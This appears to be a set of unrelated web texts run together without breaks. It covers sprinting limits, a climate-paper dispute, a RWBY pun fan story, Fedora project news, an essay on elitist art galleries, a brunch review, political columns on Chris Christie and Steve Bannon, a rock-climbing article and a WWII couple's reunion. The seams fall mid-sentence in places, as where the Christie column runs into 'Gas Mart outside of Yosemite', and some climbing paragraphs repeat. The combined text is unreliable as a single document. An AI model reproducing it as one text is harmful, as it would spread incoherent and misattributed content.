Bolt's records in particular forced the mathematician Reza Noubary to go back to the drawing board with his calculations; he had previously estimated that the best possible time for the 100m dash is 9.44 seconds — but now he's not so sure.
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Sports scientists like Noubary have tried to show that the human body is only capable of so much when it comes to particular sports. Peter Weyand from Southern Methodist University has tried to define the absolute limits of sprinting, but has fallen short. A recent BBC Future article by Ed Yong highlighted the problem:
Weyand divides each cycle of a runner's leg into what happens when their foot is in the air, and what happens when it's on the ground. The former is surprisingly irrelevant. Back in 2000, Weyand showed that, at top speed, every runner takes around a third of a second to pick their foot up and put it down again. "It's the same from Usain Bolt to Grandma," he says. "She can't run as fast as him but at her top speed, she's repositioning her foot at the same speed."
Weyland notes that the only people who could change this are Oscar Pistorius and other amputee sprinters. They run on carbon fibre legs that each weight less than half of what a normal fleshy limb would do; with this lighter load these runner can swing his legs around 20% faster than a runner with intact limbs, moving at the same speed. Yong continues:
For most runners though, speed is largely determined by how much force they can apply when their foot is on the ground. They have two simple options for running faster: hit the ground harder, or exert the same force over a longer period. The second option partly explains why greyhounds and cheetahs are so fast. They maximise their time on the ground using their bendy backbones. As their front feet land, their spines bend and collapse, so their back halves spend more time in the air before they have to come down. Then, their spines decompress, giving their front halves more time in the air and their back legs more time on the ground.
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What these sports scientists are finding is that, despite these remarkable performances, human limits have not been reached. It's possible, for example, that a future runner could strike the ground with more force and sustain that over a longer period of time. Alternately, Yong describes how Marcus Purdy from the University of Melbourne has used computer simulations to show that calf muscles, more than any other, determines the amount of force that runners apply. This could be an area that future runners could exploit.
Other factors
Now all this said, there are some other important factors to consider. Some sports analysts like Ollie Williams are suggesting that hard biological limits are indeed a consideration — and that recent changes to sports can account for records — or lack thereof.
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A good example is the ultra-hydrodynamic suit worn in swimming. Though popular in Beijing, they are now banned. And as Williams reveals, it's interesting to note that no female swimmer has broken a world record since that ban went into effect in 2009. Analysts predict that no records will be broken in the pools in London as a result.
It's also thought that tougher clampdowns on doping will also yield fewer records, particularly on the track. Take Michael Johnson's 1999 record in the 400m dash. No one has been able to touch it, and it's thought that previous eras in which lax doping standards were not enforced are to blame.
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Regardless of these factors, it's safe to suggest that making predictions is next to impossible. Just when a record is declared unbeatable, someone comes around to threaten it — consequently pushing our sense of what humans are capable of to the next level.
Top image via LosThatSports. Inset images via BittenBound, BodyComposition, Examiner.Marotzke and Forster have published a response to Nic Lewis's critique of their paper. It can be seen here, at Ed Hawkins' Climate Lab book site. Here's the start.
No circularity It has been alleged that in Marotzke & Forster (2015) we applied circular logic. This allegation is incorrect. The important point is to recognise that, physically, radiative forcing is the root cause of changes in the climate system, and our approach takes that into account. Because radiative forcing over the historical period cannot be directly diagnosed from the model simulations, it had to be reconstructed from the available top-of-atmosphere radiative imbalance in Forster et al. (2013) by applying a correction term that involves the change in surface temperature. This correction removed, rather than introduced, from the top-of-atmosphere imbalance the very contribution that would cause circularity. We stand by the main conclusions of our paper: Differences between simulations and observations are dominated by internal variability for 15-year trends and by spread in radiative forcing for 62-year trends.
Unfortunately, when they continue to the section called "Specifics" I can't actually see any mathematics that purports to show that their original regression model was not circular. My impression is of handwaving. Steve McIntyre, in the comments at CA seems to have reached similar conclusions:
I’ve done a quick read of the post at Climate Lab Book. I don’t get how their article is supposed to rebut Nic’s article. They do not appear to contest Nic’s equation linking F and N – an equation that I did not notice in the original article. Their only defence seems to be that the N series needs to be “corrected” but they do not face up to the statistical consequences of having T series on both sides. Based on my re-reading of the two articles, Nic’s equation (6) seems to me to be the only logical exit and Nic’s comments on the implications of (6) the only conclusions that have a chance of meaning anything. (But this is based on cursory reading only.)
I guess we will have to wait and see what Nic Lewis makes of it before reaching firm conclusions.It all began when Weiss said, "Ah-choo!"
If that simple action had been the end of it, the rest of the day would have gone on as normal. But alas, someone could not leave well enough alone.
When Yang Xiao Long heard the sound from her teammate, she saw an irresistible opportunity to remark, "That's a pretty cute Schneeze you just did there."
Ruby made the obligatory groan at the pun, while Blake was content to keep her eyes on her book and pretend she did not hear her partner's wit (or half of it). The targeted heiress, on the other hand, stilled and slowly turned her head to glare at her friend. Yang grinned cheekily in reply to display how undaunted she was by whatever retaliation Weiss was plotting.
"That was not funny," the fencer informed her flatly. "Not by a Long shot."
It was the brawler's turn to freeze as she realized what Weiss had done. The smaller girl had attempted homophone humor before, of course, but this time Yang had to admit, her delivery was good. She even wondered if the joke was unintentional, but the small but smug smirk on her teammate's face told her that yes, pun was very much intended.
Ruby Rose, the traitorous little sister that she was, had the audacity to snort in amusement at Weiss' rebuttal. Why didn't she ever find her own sister's puns funny? At least Blake was loyal enough to ignore the heiress' joke, showing no preferential treatment… wait a minute the corner of her mouth twitched upward, darn it!
As ecstatic as Yang was that one of her teammates was indulging in her favorite form of humor, the undeniable reality was that the heiress had called her out.
It. Was. On.
"That was an un-Weiss challenge you made there," Yang grinned ferociously as she changed her position so she comfortably faced her opponent.
Her opponent's smirk widened as she retorted, "Actually, I'm quite Xiao that you were the one who made the challenge, and I simply chose to accept."
"Either way, if you're certain you can handle my rapier wit, then bring it on!"
"Don't throw down the gauntlet if you can't follow up on it."
"I'm leaving," Blake announced as she got up and strode to the door with her novel in hand.
She had almost reached the doorknob when Ruby grabbed her wrist and cried, "Don't go!"
"Yeah, why are you booking it?" Yang inquired mischievously.
Blake banged her head on the door in front of her once.
"Don't worry about it, Yang," Weiss put in. "She'll be black before you know it."
The ebony-named Huntress-in-training banged her head on the door in front of her once more.
"Why do you want both of us to stay and endure this torment?" Blake groaned.
""Cause I wanna see who'll win!" Ruby chirped. "Don't you?"
"I'll be quite satisfied to hear the results afterwards."
"Oh, come on, some puns are actually kind of funny," the crimson leader argued.
"Puns are, by definition, not funny," Blake returned.
"Please?" Ruby whined pitifully, activating Puppy Mode.
Blake groaned. Canine-themed beings should not sound that adorable.
"…Fine," she surrendered.
"Yay!"
"It seems Ruby read you right, Blake," Yang teased.
"Shut up, Yang," the bookworm ordered flatly as she sat on her bed. The silver-eyed teen took a spot next to the feline Faunus.
"Oh my, someone's catty tonight," Weiss smirked in amusement.
"Make any more jokes about my heritage, and I will leave," Blake threatened.
"Fair enough," Yang conceded. "We'll stop just fur you."
"…How did you convince me to stay again?" the sable-haired student asked the giggling prodigy next to her.
"Dogged determination," Weiss answered, not-so-helpfully alluding to her partner's puppy-like personality.
"You're barking up the wrong tree there," the brawler countered.
"I would expect such an opinion from a ruff-ian," the heiress returned haughtily.
"Sorry, I can't hear you, Weiss," Yang mocked. "Maybe if you used a sub-woofer, it would help."
"That joke was a bit forced," the alabaster swordswoman criticized. "For your sake, though, I'll tune it out."
"That's what I've been trying to do this entire time," Blake interjected.
"Hey, at least you aren't hearing it in stereo," the golden-locked girl pointed out cheerfully.
"She'd really hate the sound of it then," Weiss agreed with a smirk.
"I thought you were dueling each other, not ganging up on me," the Faunus complained.
"Blake, I'm pretty sure they find your reactions as funny as their puns," Ruby chortled.
"Funnier, in some cases," the "little" sun dragon admitted. "But, that's to be expected: the greatest expressions come from those who can't face our wit."
"That was weak," Weiss criticized, "It's like you're just paying lip service to the pun cause."
"The pun 'cause… what?" the brawler prodded with a grin.
"Hmm, I think I'll leave you Yanging," the heiress decided with a haughty smirk.
"Back to names, huh? I'm not going to Lie, I didn't see that coming."
"That's because you're an Ig-Nora-mus!" Weiss almost yelled, the passion of their duel obviously getting to her.
The two verbal fighters stared intently at each other as they both fully began to digest what they had been doing the past couple minutes. When they did, they did the logical thing.
They collapsed to the floor together in shameless giggles. Ruby, who had been enjoying herself all along, had a renewed attack of cackling. Even Blake was infected by atmosphere, and fell back on her bed, her hand going to her mouth in a futile effort to mute her laughter.
It took a few minutes, but all four girls finally ran out of giggles, and lay where they fell as they caught their breath.
"So, call it a draw?" Yang offered breathlessly as she struggled to sit up and put out her hand.
"I accept," Weiss panted with as much dignity as she could and reached out to the proffered limb. One handshake, and then Yang helped pull her friend into a sitting position.
"I got to admit, Weiss," the boisterous girl grinned as her heartbeat started to return to a normal pace, "I didn't think you had it in you."
"I was a little surprised myself," the heiress confessed as she held a hand to her chest to check on her own heartrate. "Now I understand why you love puns so much."
"Yes! A convert!" Yang cheered as she pumped her fists into the air.
"Of all the forms of humor you had to take to, it had to be puns," Blake lamented, her tone tainted by the leftover mirth of her earlier laughter.
"What would you prefer, knock-knock jokes?" Weiss asked sarcastically.
As if answering the albino's question, a couple of raps at the door interrupted their conversation.
"Who's there?" the extroverted blonde called with a smirk, which earned a facepalm from the monochromatic half of her team.
"Uh, it's Jaune… and the rest of the team," came the reply. "We've been hearing a racket from you all; you okay?"
"We're fine," Ruby responded as she got up and opened the door, and helpfully explained, "Yang and Weiss decided it was o-pun season."
"Not you, too, Ruby," Blake groaned.
"I'm so proud of you!" Yang cried as she grabbed her resisting little sister into her arms.
Author's Note: For those of you who made through this Hurricane of Puns, you have proven yourselves to be true enthusiasts of the noblest form of wit. That, or you're a masochist.Fedora is a big project, and it’s hard to keep up with everything that goes on. This series highlights interesting happenings in five different areas every week. It isn’t comprehensive news coverage — just quick summaries with links to each. Here are the five things for October 17th, 2014:
Introducing the Fedora Council
Last week, the Fedora Project Board unanimously approved its replacement, a new top-level leadership and governance body we’re calling the Fedora Council. Read more about it in John Rose’s announcement message, and our previous Fedora Magazine article about upcoming elections.
This didn’t happen overnight — Christoph Wickert, Toshio Kuratomi, Josh Boyer, and others have been talking about this and working on related proposals for the last couple of years, and Toshio and Haïkel Guémar led a great session at Flock — Fedora’s big annual planning conference — this August. We’ve been thinking about and discussing what to do ever since, and now it’s time to put the result into action!
Translation team switches to Zanata
Fedora’s L10N team — the L-10-N is short for localization, because there are 10 missing letters there — does an amazing job of translating our software to dozens of different languages. (If you’re a Fedora user who speaks a language other than English, this is a great and fun way to get involved, by the way — see the steps to join in the Fedora Localization Guide.)
All of this work is accomplished using some specialized tools. For a long time, Fedora has used Transifex, a project by Dimitris Glezos which actually grew out of Fedora. Unfortunately, recent versions of Transifex are not open source. As a project, we always prefer to work with open source tools whenever possible, and the L10N team started a project to migrate to a different and completely free and open source tool, Zanata.
Last week, all translation teams for different languages discussed and voted whether to move ahead with this, and the result was 19 “Go” votes and none against. With the active contributor community overwhelmingly in favor, it’s an easy decision to go forward, and according to the plan, the new “stage 1” service should be live any day now.
FUDCon Managua 2014
This year’s FUDCon — that’s Fedora User and Developer Conference — in Latin America will in in Managua, Nicaragua next week. Organizer Neville Cross tipped off 5tFTW with a few particularly interesting notes:
New QA Automation framework goes live
As I’m sure everyone knows by now, the Fedora 21 cycle has been one of the longest ever. We did this on purpose, and one of the primary reasons was to give our Quality Assurance team time to work on tooling and infrastructure rather than just cycling through tests over and over. This has borne fruit, and our new QA automation framework Taskotron has gone live, replacing AutoQA for checks on package updates.
Right now, the effect on end users and developers is very small, but the change will enable many more important features in the near future, including user-submitted tests to run automatically. This will increasingly offload repetitive testing tasks so that humans time can be focused where it’s most valuable, resulting in an even better Fedora going forward.
Upgraded Retrace Server includes CentOS collaboration
This is another infrastructure thing which sounds kind like it might be boring but which also will pay off in a better, more bug-free Fedora. The Retrace/ABRT Server debugging tool which generates useful information from automated crash reports. This has been upgraded with newer hardware, enabling a few changes which directly benefit Fedora developers and users.
First, if a package is updated and the same crash doesn’t occur for two weeks, those issues are automatically closed, reducing bug noise and overload. Second, these reports are now cross-referenced with those from CentOS 7, allowing us to collaborate on debugging and fixing problems And third, it is, of course, much, much faster.Modern contemporary art galleries seem to be popping up everywhere, in the most unlikely places – redundant seaside towns, depressed northern cities – so surely this is an indication that art has moved from the elitist to the populist? Doesn’t everyone now know their Hirsts from their Emins? Don’t these huge galleries provide an inclusive experience for us all?
Sadly, I have to confess, I think the answer to this is probably a no. But in order to do this question justice, art has to be separated from the art world – the curators, critics and gatekeepers, who surround the art and artists.
Firstly though, can an inanimate object, something not capable of independent life or thought or opinion, be elitist? No it can’t. It’s an impossibility.
Art per se is not elitist, that is a perception. Art can be challenging, stimulating, thought provoking, difficult to understand and lots more besides. It can be popular or unpopular, commercial or non-commercial, abstract or representational or conceptual; it could appeal to an elite group of people, but none of this makes the art itself elitist.
No, what creates the perception that art is elitist is the group of people I referred to a paragraph or so ago. It is the people who surround the art; those gatekeepers operating like a kind of impenetrable, closed-shop cabal, whose assembled authority allows them to dictate not only the art we view and should be viewing, but also what our opinions on it should be.
Never mind if we don’t like their enforced choices; never mind if we don’t visit the municipal and regional galleries in the numbers we should. The directors and the curators of these huge public resources carry on unperturbed, confident in their belief that they know better than we do what constitutes art; righteous in their own artistic taste, which dictates the at times predictably inaccessible and recurring selection of art they exhibit.
I still stumble across those galleries, both municipal and commercial, which deploy an elitist approach to the very people they should be reaching out to
Make no mistake, to my mind municipal and regional galleries have a moral responsibility to the community they serve, to not only educate, but to be all inclusive, and that may mean at times they have to exhibit art which they themselves may not like. To fail to do this and to ignore the demands of a community is in reality elitist, and a form of discrimination.
I have a personal interest in all this. I am an artist, from a bit of an unlikely background, who exhibits successfully in commercial galleries around the world. My work, which is collected by thousands of people, has to date studiously been ignored by the municipal art world, in the same way as far bigger names than me have also largely been ignored and at times derided – Beryl Cook and Jack Vettriano, for example.
I was born in the late-1950s into a northern working-class family, and from as far back as I can remember I have always drawn and painted. As a child I used to walk past the small municipal gallery in my town, instinctively sensing the environment within was not for the likes of me. Except, of course, it was or it should have been. After all it was provided by the local council, for the population, exactly for the likes of me; my parents’ taxes would have even helped pay for it.
It was not the art hanging on the walls which kept me out, it was the select group of people who ran the gallery, who created an environment which seemed hallowed, precious and exclusive to a young boy. It took me years and years to get the confidence to cross the threshold and even today, as an artist who exhibits in galleries around the world, I still stumble across those galleries, both municipal and commercial, which deploy an elitist approach to the very people they should be reaching out to.
Commercial galleries stand or fall by their ability to sell the art work they exhibit. Municipal or state and arts council-funded galleries by contrast do not have to be commercially viable; they exist largely by receiving grants and funding from government bodies. These organisations, which attract large amounts of funding to provide art resources, have a duty to the wider population, beyond mere lip service, to consult and include them, and this responsibility should extend to occasionally acknowledging and respecting their demands and desires, irrespective of aesthetic partiality.
When regional galleries do attempt to step into the realm of populism, they face the wrath of the art critics. The Baltic in Gateshead has been beset with problems and criticisms since its opening in 2001. Its falling attendance numbers are evidence of its failure to curate exhibitions of relevance and interest to visitors and the local population. Visitor numbers are currently less than they were when it first opened.
The Baltic achieved its highest attendance figures, up to that point, for an exhibition in 2007 when it exhibited the popular artist Beryl Cook. This decision was met with local enthusiasm, but widespread critical derision. Adrian Searle writing for The Guardian, in a venomous attack on Cook and the Baltic, sneered and mocked the gallery’s decision, posturing that perhaps it was making a desperate attempt to gain local popularity – as if that was somehow a bad thing. The critic went on to sniffily comment on the fact that the artist’s “commercial” dealer was delegated the task of writing its main catalogue essay for the exhibition. The article sneered at the artist, the Baltic and even the bedtime drink Ovaltine, accusing Cook’s art as being as cloying – as Ovaltine, that is.
It’s all rather sad and frustrating. I love the fact that art is now more available than it ever has been. The internet, new technology and the spread of commercial art galleries mean that people can view and buy limited-edition prints, sculpture, originals to hang on their walls by well-known and acclaimed artists. People do know what they like and why; they do like being challenged and educated by art; they do not like being dictated to, and their choices derided and ignored.
Where some of our larger regional art galleries are concerned, a kind of artistic apartheid seems to exist. Our newspaper critics cover the same large and undoubtedly worthy exhibitions, but in doing so there is a huge swathe of art and art-loving public who are marginalised and left out in the cold, their choices and preferences seemingly deemed unworthy of exhibiting in our public galleries.
Elitism endorses the exclusion of large numbers of people, and that is exactly what our large regional galleries and the people who run them are doing. It would be laughable if it were not so outrageously discriminatory. Our supposedly progressive and open-minded municipal art world is in reality a narrow, self-aggrandising bunch of judgmental custodians, whose disregard for the taste and divergent cultural values of the majority is evident in their dismal visitor numbers.
Modern art over the past 20 years or so has focused on shock and sensation, but perhaps the biggest shock of all will come when someone, somewhere gives these institutions a long-overdue wake-up call. Now that is a vision worth conjuring up – those publicly funded gatekeepers quaking in the face accountability, artistic democracy and perhaps the odd still life.
Bolt your doors, batten down the hatches and run for the hills, the revolution is coming.Ever sit down at a restaurant and notice that everyone around you is way better looking and appears to have way more money than you? Because that happens to us every time we brunch at Urban Table.
Around the room, I didn’t see a single person that couldn’t be a trophy spouse for a richer, more successful sugar momma/daddy. Which, after being an adult for awhile, really does seem like the way to go in life. I used to look down on people that married for money, but then I was slapped in the face with a blown transmission, a flat tire, property taxes and doomsday prepping a year’s worth of food and toilet paper.
It really gets you serious about cutting carbs and working on your abs.
Sorry, Katie.
But for real, it was filled by models wearing expensive workout clothing. But let’s not kid ourselves – they don’t work out. Their genetics are just that good.
Welcome to where your betters flock.
Anyways, we love it. And not just for the eye candy that is its clientele. I’d at best rank a 5 compared to these people. Katie? A solid 9. At least she belongs here.
So we started off with some drinks. Katie got a Bloody Mary.
And I got black coffee. Mostly because life is pain and I can’t coast through it based on my looks.
As the table of Adonis’s and Muses to the Gods laughed at something witty behind us, I caught a whiff of a smell that could help bury my feelings of inadequacy.
Monkey Bread.
Oh fuck yes.
It was awesome. And it was only $4. Honestly it would have been perfect if there had been 4 of us, but Katie and I are strange and don’t have many friends. So we ate it alone…
So what did we eat after that? Well, first things first I had to take a photo of the menu because that’s apparently what “Food Blogs” do. I arranged this shot just for you people. Which consisted of me moving this around the table until it looked like a girl named Elsa who wears flannel and oversized nonprescription glasses took it.
You’re welcome.
Anyways, I ordered Biscuits and Gravy, because I hate myself. They were awesome. Super rich. The gravy was made of dreams.
And will take 7 years off your life. But honestly, would you rather live an extra 7 years filled up with kale and yeast flakes or die happily stuffed with fat and carbs? Because this internet food writer person totally picks bacon.
Katie got the Breakfast Tacos, which are stuffed with chorizo, eggs, potatoes and that happy feeling you get when your dog sees you come home and flips shit because they are just so happy you’re alive.
It’s served with an avocado salsa, which is awesome if you’re anyone but me. Fun fact: Avocados WILL kill me. I’m hyper-allergic to them. So Katie likes to order them when she’s mad at me so I won’t try to kiss her.
Katie:
Don’t piss me off.
Noted.
The food was awesome. Like, seriously awesome. You need to come here. We’ve come to brunch here about 80 times and I have NEVER had a bad meal. I’ve had so/so servers here (not everyone can be Andy) but the food has never let me down. High Five to the cooks.
How were the bathrooms? Weird and nice as fuck.
You see, they’ve combined the male and female bathrooms into one. Each stall is like a mini Ikea showroom that exits out into a common area. So don’t freak out when you’re done and see a girl hanging out, washing her hands, taking photos of the bathroom. Katie’s just trying to get the real scoop here.
Also, who doesn’t want to use the bathroom in a majestic field of wheat?
Very nice bathrooms. Would totally use them again.
In conclusion – this place really got me thinking about that “All men are created equal” deal.
Spoiler alert: It’s bullshit.
The astronaut/entrepreneur/body-builder behind me was worth at least 2.4 of me. I need to step up my game. Maybe go back to school and get my degree in finance. Then I could start a blog called All the Dollars where I gloat about how awesome it is to be rich as hell while toasting my fellow Illuminati members as we use the media as a social engineering tool to make you all more easily controlled. Thus ushering in a new age of serfdom as you toil the fields of your cubicle to line my already well insulated pockets.
Bow down to your masters.
So how would we rate our brunch experience?
RYAN:
Taste: 10/10
Value: 8/10
Environment: 9/10
Bathrooms: 10/10
KATIE:
Taste: 9/10
Value: 8/10
Environment: 10/10
Bathrooms: 10/10
We like this place. A Lot. We also run into my friend Bryan like every time as well. Sup Bryan.
Urban Table. Go there. Now.
8232 Mission Rd, Prairie Village, KS 66208Imagine you're in a bar watching a baseball game, as many Jersey guys will be doing this evening when the Mets play that pivotal Game Five against the Dodgers.
You're quaffing a fine microbrew when some Bud-swilling lout comes up and starts a conversation about politics.
"When it comes to Syria, that Barack Obama's a real weakling," says the lout. "You wanna know what I'd do if I was president?"
You don't wanna know, but he tells you anyway.
"I'd call up Vladimir Putin and I'd tell him I'm imposing a no-fly zone," he says. "If he flies there anyway, I'd take him down."
"That's a great idea," you say, hoping he'll shut up. He doesn't.
"I'm not prepared to allow Russia to try to bring Communist domination back to the world," he says.
At that point you pull out your cellphone and pretend you've got a call.
"Gotta take this," you tell the guy. "It's the wife."
You drift off and find another TV far from the lout.
The above, of course, is an almost word-for-word rendition of what our part-time governor has been telling TV interviewers of late.
At least that hypothetical lout has an excuse for his stupidity: He's drunk.
What's Chris Christie's excuse?
I discussed this with a number of Republican insiders. They offer three theories.
One is that Christie is desperately trying to call attention to his flagging presidential campaign. The cutoff for the Oct. 28 debate in Colorado is 2.5 percent. Christie finished at a mere 1 percent in the latest poll, which was by Fox News. That leaves him hovering just above the cutoff once again.
So perhaps it makes sense to him to risk starting a war to restart his campaign.
The second theory also involves Fox News. This theory holds Christie is angling for a spot in the |
Gas Mart outside of Yosemite.
But with or without the gas station nibbles, there's no doubt that climbers know a thing or two about a healthy lifestyle. Here's how rock climbing helps you lead a happier, healthier life.
Rock climbing builds muscle and endurance.
Contrary to what many beginners may believe, climbing requires much more than upper-body strength. The success of sending -- or completing -- a route relies heavily on a long list of physical factors, including intricate footwork, lower body strength and lean muscle mass. Although not often thought of as a common form of cardio, ascending walls is a sure way to get your heart pumping, similar to the way climbing stairs or jogging does. A one-hour climb session can burn well over 700 calories. Plus, tricky maneuvers and lengthy reaches often require developing flexibility that wasn't there before. To increase bendability, more and more rock gyms are incorporating yoga studios into their facilities.
Climbing boosts brain function.
In addition to building up muscle and helping you get that cardio, climbing involves problem-solving skills -- which explains why bouldering (a type of climbing that is generally done unroped, at lower heights on literal boulders) routes are actually called "problems." But whether athletes are scaling cliffs or conquering long traverses in their local bouldering cave, time on the rocks is anything but mindless. "I think the mental side of climbing is often overlooked," Alex Johnson, team climber with The North Face -- with many first-female ascents under her belt, tells The Huffington Post. "The movement in climbing up a route often demands body awareness and problem-solving. More often than not, the way to the top is not as direct as you might assume, and it takes laser focus to work through which holds to grab and where exactly to place your foot before shifting your body weight."
All of those hours logged outdoors also don't hurt. Research shows that time spent outside may decrease symptoms of ADHD, improve memory, boost creativity and even wake your brain up with the same effect as drinking a cup of coffee.
Rock climbing reduces stress.
Exercise itself has been shown to reduce stress by increasing levels of norepinephrine, a chemical that helps balance our brains' response to stress. Some researchers suggest exercise be used to help treat a variety of mental illnesses, including addiction, depression and anorexia. But climbing itself has an extra trick up its sleeve: Climbers who totally lose themselves in the flow of the activity enter a mindset that can create a sense of euphoria and even block pain, according to Indiana University. And climbing outdoors could carry extra benefits: Time spent outdoors has been linked with lower stress levels, making a solid argument in favor of outdoor climbing trips.
It teaches valuable life skills.
For many, rock climbing is about much more than getting a good workout and releasing stress. "From a physical standpoint it's incredible exercise, but some of the best tidings I get from climbing are what I would define as spiritual," Cedar Wright, team climber with The North Face, writer and filmmaker, tells The Huffington Post. "From a mental standpoint, climbing is an amazing teacher, instilling focus, balance, determination and a whole... host of valuable life skills."
In fact, a small study in the journal Adapted Physical Activity Quarterly explored the benefits of indoor rock climbing by children with special needs. The research showed that after six weeks of climbing, the kids' self-efficacy and their belayers' ratings of the children's efficacy improved dramatically.
No climber is a stranger to overcoming challenges, and there's a good reason rock climbers appear on all of those motivational posters. "I think the mental benefits of climbing are a bit more subtle [than the physical ones], and I'm sure they're different for everyone. But I think it’s a very empowering sport," professional climber Alex Honnold, known for his record-breaking speed up big-wall climbs and his occasional ropeless ascents, tells The Huffington Post. "The process of overcoming your own fear all the time helps put life’s other challenges into perspective."
Interested in taking up the sport yourself?
So you're ready to feel the grime under your fingernails and explore the world from a bird's eye view. Luckily, it's easier to start rock climbing than you may think. We talked to the experts to find the best tips for beginner climbers:
Train in climbing gyms. With a 10 percent growth rate of climbing gyms in 2013, recreational climbing accessibility has grown rapidly across the country. They're a great way to learn the basics, says Honnold, and plug into your local climbing community.
With a 10 percent growth rate of climbing gyms in 2013, recreational climbing accessibility has grown rapidly across the country. They're a great way to learn the basics, says Honnold, and plug into your local climbing community. But don't forget to get outside. Let's face it: routes laid out by colored tape and auto-belay machines are no replacement for soaring cliffs and climbing partners. "The gym is a great place to train," Wright says. "But for technique, there is no replacement for time spent on real rock."
Let's face it: routes laid out by colored tape and auto-belay machines are no replacement for soaring cliffs and climbing partners. "The gym is a great place to train," Wright says. "But for technique, there is no replacement for time spent on real rock." Triple-check your knots, anchors and gear. There's no doubt that climbing is a dangerous sport if proper safety precautions aren't taken. That's why you should never think you're to the point where you're comfortable enough to breeze through your safety checks, says Johnson. "Even the pros who have been climbing for decades still make mistakes," she says. "For such an extreme sport, we make rock climbing as safe as it possibly can be. It becomes dangerous when we get lazy."
There's no doubt that climbing is a dangerous sport if proper safety precautions aren't taken. That's why you should never think you're to the point where you're comfortable enough to breeze through your safety checks, says Johnson. "Even the pros who have been climbing for decades still make mistakes," she says. "For such an extreme sport, we make rock climbing as safe as it possibly can be. It becomes dangerous when we get lazy." Chalk up. Ever wonder why athletes' hands --not to mention climbing holds -- are covered in white chalk? Climbers have long used chalk to help prevent slipping on the rocks. Research confirms that chalk increases friction on a variety of surfaces, including sandstone and limestone. So go ahead and chalk up before gripping your next hold.
Ever wonder why athletes' hands --not to mention climbing holds -- are covered in white chalk? Climbers have long used chalk to help prevent slipping on the rocks. Research confirms that chalk increases friction on a variety of surfaces, including sandstone and limestone. So go ahead and chalk up before gripping your next hold. Let loose and relish the walls. All of that swinging around on ropes and ascending walls has the power to bring you back to your childhood. Honnold's word of advice: Enjoy! "There’s no point in going climbing if you don't enjoy the process. It should be like playing."This article is over 3 years old
Norwood Thomas, 93, from Virginia, US, is reunited with Joyce Morris, 88, in Australia more than 70 years after they first met
A 93-year-old second world war veteran from the United States has been reunited with his wartime girlfriend in Australia after more than 70 years apart.
Norwood Thomas and 88-year-old Joyce Morris laughed on Wednesday as they wrapped their arms around each other after Thomas flew from Virginia to the southern Australian city of Adelaide to reconnect with his long-lost love.
“This is about the most wonderful thing that could have happened to me,” Thomas said, in a reunion broadcast on television.
“Good,” Morris replied with a laugh. “We’re going to have a wonderful fortnight.”
Morris was a 17-year-old British girl and Thomas was a 21-year-old paratrooper when they first met in London shortly before D-day.
After the war, he returned to the US. The pair wrote letters to each other, and Thomas asked Morris to come to the US to marry him. But somehow Morris misunderstood and thought he’d found someone else, so she stopped writing.
The two eventually married other people. Thomas’s wife died in 2001; Morris divorced her husband after 30 years.
Last year, Morris asked one of her sons to look for Thomas online, and they found his name featured in an article about D-day that ran in the Virginian-Pilot newspaper.
Facebook Twitter Pinterest Norwood and Joyce speak on Skype
Thomas and Morris reconnected via Skype. After their story went public, hundreds of people made donations to help fund Thomas’s trip to Australia from his hometown in Virginia Beach.
The two are planning to spend Valentine’s Day together.My question was short and simple: Do you still have confidence in Steve Bannon?
President Trump’s answer was also short, but incredibly explosive. Although the military dropped the mother of all bombs in Afghanistan last week, the mother of all bombshells the president dropped is vastly more important to his presidency.
As the political world knows, Trump declined to say yes to my question, creating a clear impression that his chief strategist is on thin ice. The “under the bus” notion surged on social media.
The prospect of Bannon’s departure from the White House immediately set off frenzied reactions on two fronts. Anger and five-alarm fire bells broke out in much of Trump Nation, while celebrations took place on Wall Street and in congress.
The polarized response captures the outsized way Bannon is seen by both friend and foe. Loved and hated passionately, he is in some ways more Trump than Trump. That’s his appeal and his Achilles Heel.
The liberal press and Democrats — I know, that’s repetitive — call him Rasputin, a madman and a white supremacist. His defenders call Bannon the “True North” of the 2016 revolution, the man who had a gut instinct and a compelling vision for bringing abandoned blue collar voters into the GOP tent.
Many of those voters proudly call themselves the “deplorables,” making a badge of honor out of Hillary Clinton’s slur. Their payback was turning blue states red and putting Trump in the Oval Office.
To them, Bannon is too important to fire. Trump’s answer shows he doesn’t agree and wanted Bannon to know it.
In truth, Trump has reason to be unhappy. His tenure has been unnecessarily bumpy, and although there have been important successes, there have been missteps and false starts, in policy, personnel and communications.
After Trump, Bannon gets the lion’s share of blame for the problems, with his critics saying he is far too aggressive about trying to make sure every decision breaks the Washington mold. When he doesn’t get his way, he’s all bare-knuckles and some reports say he uses unflattering press leaks to damage his rivals.
Most articles about infighting pit Bannon against Jared Kushner, the president’s son-in-law, and others of a more moderate, even liberal, bent, including Gary Cohn, the Goldman Sachs alum who is chief economic advisor. The reports have been so detailed that something is clearly amiss.
That’s why I asked the president if he has confidence in Bannon.
see also Trump won't definitively say he still backs Bannon Washington’s rumor mill is working overtime on the fate of...
Trump started by saying “I like Steve, but you have to remember he was not involved in my campaign until very late. I had already beaten all the senators and all the governors, and I didn’t know Steve.”
My hunch that Bannon was not getting a vote of confidence was confirmed when Trump added that, “I’m my own strategist and it wasn’t like I was going to change strategies because I was facing crooked Hillary.”
He ended with a dagger: “Steve is a good guy, but I told them to straighten it out or I will.”
In fairness to Trump and Bannon, every administration goes through a shakeout period. Most presidents shuffle the deck within the first year as campaign aides are jettisoned as governing takes precedence.
But just as Trump is unique as the ultimate outsider, Bannon is not just another interchangeable part. He is a singular figure and without him, it’s hard to see who earns the trust and keeps the flame of the “deplorables.”
Trump’s answer to me and to others since suggests he doesn’t believe he needs Bannon because the candidate himself had the vision all along. And it is reasonable if Trump takes offense when somebody is seen as his “brain” or the real president.
Not incidentally, the liberal media reserves those ideas for GOP presidents, using them as code to smear Republicans as too dumb to think for themselves. Nobody was called Bill Clinton’s or Barack Obama’s “brain,” but Trump joins Ronald Reagan and George W. Bush in not being seen as smart enough.
Yet media bias is irrelevant to the concern among many Trump supporters that the administration is adopting fairly conventional policies and tilting toward Democratic views on globalism. The Syrian missile strike is eyed with suspicion by some, as is Trump’s threat to work with Democrats to fix ObamaCare after GOP repeal efforts failed.
Any talk of “betrayal” is never a good sign in the first 100 days. Moreover, Trump has almost no support among Democrats for anything, so losing a chunk of his base would endanger his presidency. He already has too few friends and too many enemies.
If the math becomes more lopsided, tax reform would be dead, as would his immigration policy and most of the America First agenda. Democrats would then use gridlock as a hammer in the 2018 midterms.
My view, then, is that, unless Bannon did something unforgivable, it’s too risky and too soon to cut him loose. While Trump must be comfortable with the people around him, he also needs a mix of ideas to make sure he’s getting the best options. Bannon has proven he has something to offer.
